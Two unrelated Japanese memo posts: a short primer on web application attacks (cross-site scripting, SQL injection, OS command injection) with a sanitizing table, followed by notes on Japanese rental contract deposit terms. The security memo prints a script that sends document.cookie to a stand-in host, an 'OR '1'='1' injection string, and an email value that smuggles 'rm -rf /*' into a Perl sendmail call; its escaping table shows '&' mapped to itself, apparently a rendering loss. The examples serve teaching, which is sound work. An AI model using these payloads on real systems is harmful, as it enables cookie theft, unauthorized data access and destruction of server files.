Webアプリのセキュリティについてメモ

最近忘れかけていた基礎知識。
メモしとく。

■クロスサイトスクリプティング
悪意のあるJavaScriptコードをページ内に埋め込む手法。
以下の例だと、passwordがhtmlに出力されるとき、単なる文字列としてではなく、HTMLのscriptタグとして扱われる。
そのため、scriptタグ内のJavaScriptが実行されてしまう。

例)

id:hoge
password:

<script>
location.replace('http://ほげほげ.com?cookie=' + document.cookie)
</script>

■SQLインジェクション
SQL文として意味のある文字を（', ;, %, +など）を使用する手法。
以下の例だと、passwordの条件句に論理和が埋め込まれてしまうため、他の条件句が無効となり
無条件でSQL結果が返ってしまう。

例）

id:hoge
password:'OR '1'='1'

select
  hoge
  ,moge
from
  user_table
where
    id='hoge'
  and
    password =''OR '1'='1'

■OSコマンドインジェクション
OSのコマンドを埋め込むことで、悪意あるOSコマンドを実行する手法。
よくある例がCGIだと思うので、ここではCGIの代表格（？）のPerlの例を。
以下の例では、メールアドレス登録などで、メールアドレスを入力してもらい、
Perlからunixコマンドのsendmail（メールを送るコマンド）を呼び出します。
サーバーではメールを送信した後に、rm -rf /*(全ファイル・ディレクトリを削除するコマンド)を実行します。
例）
メールアドレス：example@example.com;rm -rf /*
my $hoge_mail = CGI::param('hoge_mail');
open(MAIL, "|/usr/lib/sendmail $hoge_mail");


■サニタイジング
これらを予防するための手法はいくつかありますが、一番簡単なのはサニタイジング（無効化）でしょう。
サニタイジングでは、スクリプトやSQLで意味を持つ文字を無効化する手法です。

&　→　&
<　→　&lt;
>　→　&gt;
"　→　&quot;
'　→　&#39;

まぁ、OSインジェクションだと、そもそも外部プログラム実行させないとか実行権限を特別なユーザーだけにするとかしたほうがいいのかも。

不動産契約用語まとめ

仕事で不動産契約の用語を色々と調べたので、メモ。
※ここに書かれている内容は、独自に調べたものなので、内容は保証できません。


■礼金（れいきん）

”謝礼”として賃貸者に支払う支払われる金銭。
もともと、関東に上京してきた学生や単身者の「面倒を見てもらえるように前もって感謝する」ために支払ったお金が由来らしい。

■敷金（しききん）
家賃支払いの債務を”担保する”目的で賃貸者に支払う金銭。
物件の明け渡し時に、賃借者に債務不履行がなければ、賃借者に返還される”一時金”。

■保証金（ほしょうきん）
家賃支払いの債務を”担保する”目的で賃貸者に支払う金銭。

■敷引き
保証金（敷金）の一部から差し引かれる金銭。
西日本（京都・滋賀を除く）でならではの習慣「保証金・敷引き制度」のこと。
予め原状回復費用を決めておくので、退去時に敷引き額以上に部屋の補修費用がかかっても
補修費用が下回っても返還されない。礼金の性質を持っている。

■解約引き
保証金（敷金）の一部から差し引かれる金銭。
保証金としての償却金のこと。
契約終了後または解約後、賃借者に返還されない。
原状回復費用に充てられない場合でも返還されないが、そういう場合は
契約時に礼金が無い場合が多いらしい。


□敷金と保証金
どちらも”契約を守ることを担保する金銭”で、
契約終了時に無利息で返還される（※「敷引き」参照）。
ただ、地域によって使われ方が違うこともあるっぽい。

□解約引きと償却金
どちらも”契約終了時に返ってこない金銭”です.
どちらも償却金で、”保証金として預けている場合は解約引き、敷金の場合は敷引金”という解説もあるようです。
http://www.housecom.jp/words/detail_161.html

□なんかごちゃごちゃしてるけど・・・まとめ
”礼金をとらないかわりに解約引きや敷引きを行い、それを礼金の代わりに家主が徴収する”など、色々な組み合わせがあるようです。

減価償却と同じで、部屋は使っているとボロボロなってしまいます。
つまり時間が経つにつれて、その価値が下がってしまいます。
だからこそ、契約終了時の原状回復やリフォームが必要になります。
どのお金を取るか、またその細かい定義は契約によって変わると思われます。
不動産の契約は、後々のトラブルを招かないためにも、しっかり賃貸側に確認を取った方がいいですね。